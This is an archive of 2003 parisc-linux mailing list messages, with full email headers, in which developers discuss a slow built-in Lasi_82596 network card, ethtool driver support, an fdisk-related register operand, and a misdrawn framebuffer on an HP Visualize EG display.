	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 24754-10; Mon, 10 Nov 2003 10:37:48 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D5022298037; Mon, 10 Nov 2003 10:37:48 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3F969FFE00009EA4@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20065

On Mon, Nov 10, 2003 at 01:31:45PM +0100, Joel Soete wrote:
> ie a Lasi_82596 (as Matthew mentioned in a previous mail).

yeah - that's not going to perform as well as tulip.
And 10-Half is going to be substantially slower.
Sounds like it has a bug in the negotiation.

grant


From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Mon, 10 Nov 2003 18:35:33 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <3FAFDA75.7000906@tiscali.be>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk> <3F969FFE000092BD@ocpmta2.freegates.net> <20031108015946.GC19436@colo.lackof.org> <3FACCC88.4010404@tiscali.be> <20031108194804.GA28929@colo.lackof.org> <3FAD6B1A.6060605@tiscali.be> <3FAE4639.6030200@tiscali.be> <20031109175735.GE2014@parcelfarce.linux.theplanet.co.uk> <3FAE8EA4.3050208@tiscali.be> <20031110044556.GB16478@colo.lackof.org> <20031110050732.GZ28967@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622951 1267 80.91.229.3 (22 Nov 2014 02:22:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:31 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 11:35:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EB23483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 11:35:16 -0700 (MST)
Original-Received: from [62.235.121.29] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AJGsc-0003UZ-Fs; Mon, 10 Nov 2003 19:35:14 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031110050732.GZ28967@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20066


Randolph Chung wrote:
>>What is "%R2" intended to be?
>>Randolph pointed out this is broken before and I was wrong
>>to commit this chunk to the 2.4 tree (I'm working on
>>removing it now).
> 
> 
> Just a clarification:
> 
> %R2 is not *wrong* -- it points to the right side of argument register 
> 2 (jda explained this in an earlier thread), but I am not 100% sure 
> %R2 will do the right thing for a 32-bit build though -- if you are 
> running on a pa1.1 machine and the register is only 32-bit, does %R2 
> automatically do the right thing with 64-bit arguments?  I guess it's 
> easy enough to tell by looking at the code gcc generates...
> 

Good idea and just for curiosity (i don't want to insist to maintain 
some line of code which soon or later would have to be change ), I can 
try to find back a test case I used to prepare. (Just be patient)

> anyway, i think we should stick with the inline version of the code
> too....
> 
> thx
> randolph

thx also for attention,
	Joel



From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Mon, 10 Nov 2003 19:23:24 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <3FAFE5AC.60900@tiscali.be>
References: <3F969FFE00009E0B@ocpmta2.freegates.net> <3F969FFE00009EA4@ocpmta2.freegates.net> <20031110173748.GD24664@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622951 1273 80.91.229.3 (22 Nov 2014 02:22:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:31 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 12:23:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71E36483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 12:23:05 -0700 (MST)
Original-Received: from [62.235.121.29] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AJHcu-0006Zf-Mh; Mon, 10 Nov 2003 20:23:04 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031110173748.GD24664@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20067


Grant Grundler wrote:
> On Mon, Nov 10, 2003 at 01:31:45PM +0100, Joel Soete wrote:
> 
>>ie a Lasi_82596 (as Matthew mentioned in a previous mail).
> 
> 
> yeah - that's not going to perform as well as tulip.
> And 10-Half is going to be substantially slower.
> Sounds like it has a bug in the negotiation.
Hmm I could verify, i would have to had ethtool support.
btw is somebody knows a driver which support it (i test without succes 
3com an hp100 driver).

Thx,
	Joel




From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Mon, 10 Nov 2003 20:38:25 +0000
Lines: 57
Approved: news@gmane.org
Message-ID: <3FAFF741.70203@tiscali.be>
References: <3F969FFE00009E0B@ocpmta2.freegates.net> <3F969FFE00009EA4@ocpmta2.freegates.net> <20031110173748.GD24664@colo.lackof.org> <3FAFE5AC.60900@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622951 1275 80.91.229.3 (22 Nov 2014 02:22:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:31 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 13:38:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF6C04875
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 13:38:06 -0700 (MST)
Original-Received: from [62.235.121.29] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AJInV-0003Bz-Bm; Mon, 10 Nov 2003 21:38:05 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <3FAFE5AC.60900@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20068

(sorry for auto-reply) but I find effectively interesting stuff:
man ethtool mentioned:  /usr/share/doc/ethtool/README.Debian

in which it seems that is:
Last column show current capabilities of these drivers:
   D = get driver infos
   C = get/set card settings
   W = get/set wake-on-lan settings
   M = get/set message-level
   L = get link status
   R = restart autonegotiation
   G = get registers
   P = get EEPROM

An 'x' indicates that the feature is available, a '.' indicates not.

Ethernet card family                        linux driver    DCWMLRGP
--------------------------------------------------------------------
[...]
NatSemi DP8381x series                      natsemi         xxxxxxxx
[...]

which own the most of ethtool support.

Again sorry for anoyance,
	Joel

Joel Soete wrote:
> 
> 
> Grant Grundler wrote:
> 
>> On Mon, Nov 10, 2003 at 01:31:45PM +0100, Joel Soete wrote:
>>
>>> ie a Lasi_82596 (as Matthew mentioned in a previous mail).
>>
>>
>>
>> yeah - that's not going to perform as well as tulip.
>> And 10-Half is going to be substantially slower.
>> Sounds like it has a bug in the negotiation.
> 
> Hmm I could verify, i would have to had ethtool support.
> btw is somebody knows a driver which support it (i test without succes 
> 3com an hp100 driver).
> 
> Thx,
>     Joel
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] framebuffer drawing incorrectly ?
Date: Mon, 10 Nov 2003 16:46:22 -0500
Lines: 64
Approved: news@gmane.org
Message-ID: <200311101646.55611.vapier@gentoo.org>
Reply-To: vapier@gentoo.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  protocol="application/pgp-signature";
  micalg=pgp-sha1;
  boundary="Boundary-02=_PdAs/x8OnGeYmx3";
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622952 1276 80.91.229.3 (22 Nov 2014 02:22:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 14:46:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail1.WPI.EDU (mail1.WPI.EDU [130.215.36.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C4E7483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 14:46:58 -0700 (MST)
Original-Received: from mcafee.wpi.edu (mcafee.WPI.EDU [130.215.36.86])
	by mail1.WPI.EDU (8.12.10/8.12.10) with SMTP id hAALkrLk030202
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 16:46:53 -0500
Original-Received: from smtp.WPI.EDU(130.215.36.186) by mcafee.wpi.edu via csmap 
	 id 24194; Mon, 10 Nov 2003 16:44:50 -0500 (EST)
Original-Received: from vapier.wh0rd.org (vapier.wh0rd.org [130.215.224.143])
	by smtp.WPI.EDU (8.12.10/8.12.10) with ESMTP id hAALkoDF012583
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 16:46:50 -0500
User-Agent: KMail/1.5.4
X-PMX-Version: 4.1.0.80455
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20069

--Boundary-02=_PdAs/x8OnGeYmx3
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Description: signed data
Content-Disposition: inline

i've been trying to get the framebuffer to work but so far havent had any=20
luck ... i was unable to locate anyone who had a similar problem ...

Display controller: Hewlett-Packard Comp A4977A Visualize EG (rev 3).
machine is a C360 ... STI Console works great ...
tried 2.4.22-pa13 and 2.6.0-test9-pa5 with same exact results

the frame buffer draws all messed up however ... it only draws on the right=
=20
quarter of the screen ... the rest of the screen still contains the buffere=
d=20
video as found when the computer was booted (firmware output along with pal=
o=20
stuff) ... the colors are all skewed, basically white is purple along with =
a=20
few other bit inversions of some sort ...
also, each line is drawn incorrectly ... it's like each has been split in h=
alf=20
horizontally and then swapped ...
i can get X to load, but again it draws it all messed up in the right quart=
er=20
on the screen

i wish i could post a frame buffer grab, but fbgrab doesnt support 8bit and=
=20
fbscreenshot likes to segfault when writing the png to disk.

any ideas what i'm missing ?
or is the fbdriver the only way i can get X and running ?
=2Dmike

--Boundary-02=_PdAs/x8OnGeYmx3
Content-Type: application/pgp-signature
Content-Description: signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.3 (GNU/Linux)

iQIVAwUAP7AHRkFjO5/oN/WBAQJ2OA/5AcJvrYma6EATE+R8pPlabOavWDHFt+R8
hxG7/CYEmMVBQgJKZ1WISVKRb+ba8bTr1GUZKaN5NibglRy65e24K4rGn5dbtPHj
lJETEsbuID5CwOjzE9T/PuMeDGUhvC69I4DkXoVqOB0lp8Z8AsSnB0Jw4JKgniHn
UU4IUr18MYWq1tzhffjz5X9sRcdsopo3/SZGJ7rvbxJlWFdSTSqz+ah0U8pcUcJD
Scypal8pBWE4STTBbz8f7YbCaveg9cyjcTrZsCvmjtPP9EJe2WT+c8V7SplnpEla
0BdLB7LbG4Vu9m32umNAX5Aba6uXs3GsNP39+jLLW5SSiTQRBIPvr1xt5CfIAOMd
AWA61ukNNVf5Pi2Rvjd4u2ir06i0f764bES9rcM/uthqBgm9qszGv14hDk+X2iQA
VxZUxweKDr/N62AaZx27kGlQ2jbZ7VUkyJwfljnrcf163mB/38ke5cjggzntWRog
bflKqTbyJ4rHAWxLxAlRpfHWEYM/Y+DlFDIHIZLJOv/bYuYgmLlisU9Ef58hwrd5
Yr7veKt0wMjEznsOugUnA7tsKEhAdBhk6VOEiSevyLOBVYStyEr29Fc0TIAFxYyh
+SpZHeJPm+xVDFFwO0C8wiojZkbBUwCT11plrG+pUwFRrQugfm+PuIpLp007bG88
1nLCRvRvHpQ=
=sFPF
-----END PGP SIGNATURE-----

--Boundary-02=_PdAs/x8OnGeYmx3--




From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Mon, 10 Nov 2003 22:58:51 +0100
Lines: 6
Approved: news@gmane.org
Message-ID: <3FB00A1B.2060906@hrzpub.tu-darmstadt.de>
References: <3FA95BBA.7080705@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622952 1281 80.91.229.3 (22 Nov 2014 02:22:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 14:58:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 454EA483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 14:58:24 -0700 (MST)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157027077.dialin.heagmedianet.de [213.157.27.77])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.10/8.12.7) with ESMTP id hAALwD1Z029467
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 22:58:16 +0100
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4.1) Gecko/20031008
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <3FA95BBA.7080705@hrzpub.tu-darmstadt.de>
X-TUD-HRZ-MailScanner: Found to be clean
X-TUD-HRZ-MailScanner-SpamCheck: not spam, SpamAssassin (Wertung=-1.1,
	benoetigt 5, IN_REP_TO -0.50, REFERENCES -0.50,
	USER_AGENT_MOZILLA_UA 0.00, X_ACCEPT_LANG -0.10)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20070

Thanks for all your help! Everything works fine for me now.

Greetings,
    Ruediger



From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drawing incorrectly ?
Date: Mon, 10 Nov 2003 22:35:01 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <3FB01295.10005@tiscali.be>
References: <200311101646.55611.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622952 1282 80.91.229.3 (22 Nov 2014 02:22:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vapier@gentoo.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 15:34:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id DBA6D483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 15:34:42 -0700 (MST)
Original-Received: from [62.235.121.29] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AJKcL-0000Ym-Sk; Mon, 10 Nov 2003 23:34:42 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <200311101646.55611.vapier@gentoo.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20071

please send your xfonfig-4 and your dmesg file.

Joel

Mike Frysinger wrote:
> i've been trying to get the framebuffer to work but so far havent had any 
> luck ... i was unable to locate anyone who had a similar problem ...
> 
> Display controller: Hewlett-Packard Comp A4977A Visualize EG (rev 3).
> machine is a C360 ... STI Console works great ...
> tried 2.4.22-pa13 and 2.6.0-test9-pa5 with same exact results
> 
> the frame buffer draws all messed up however ... it only draws on the right 
> quarter of the screen ... the rest of the screen still contains the buffered 
> video as found when the computer was booted (firmware output along with palo 
> stuff) ... the colors are all skewed, basically white is purple along with a 
> few other bit inversions of some sort ...
> also, each line is drawn incorrectly ... it's like each has been split in half 
> horizontally and then swapped ...
> i can get X to load, but again it draws it all messed up in the right quarter 
> on the screen
> 
> i wish i could post a frame buffer grab, but fbgrab doesnt support 8bit and 
> fbscreenshot likes to segfault when writing the png to disk.
> 
> any ideas what i'm missing ?
> or is the fbdriver the only way i can get X and running ?
> -mike



From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drawing incorrectly ?
Date: Mon, 10 Nov 2003 23:54:34 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20031110225434.GA27176@solo.franken.de>
References: <200311101646.55611.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622953 1287 80.91.229.3 (22 Nov 2014 02:22:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 15:59:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8669B483E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 15:59:22 -0700 (MST)
Original-Received: from uucp by elvis.franken.de with local-rmail (Exim 3.36 #1)
	id 1AJL0D-0001GE-00; Mon, 10 Nov 2003 23:59:21 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id D879D27C9A; Mon, 10 Nov 2003 23:54:34 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <200311101646.55611.vapier@gentoo.org>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20072

On Mon, Nov 10, 2003 at 04:46:22PM -0500, Mike Frysinger wrote:
> the frame buffer draws all messed up however ... it only draws on the right 
> quarter of the screen ... the rest of the screen still contains the buffered 

try to turn off double buffering.

> or is the fbdriver the only way i can get X and running ?

yes.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]


From - Thu Nov 08 21:29:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what's up with the ipc syscalls?
Date: Tue, 11 Nov 2003 00:44:14 +0100
Lines: 220
Approved: news@gmane.org
Message-ID: <20031110234414.GA27527@solo.franken.de>
References: <20031101082451.GJ28967@tausq.org> <20031102180150.GA14554@solo.franken.de> <20031102181252.GY28967@tausq.org> <20031102214200.GA5299@solo.franken.de> <20031102225626.GF26916@systemhalted> <20031103085601.GA9083@solo.franken.de> <20031103214119.GD778@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
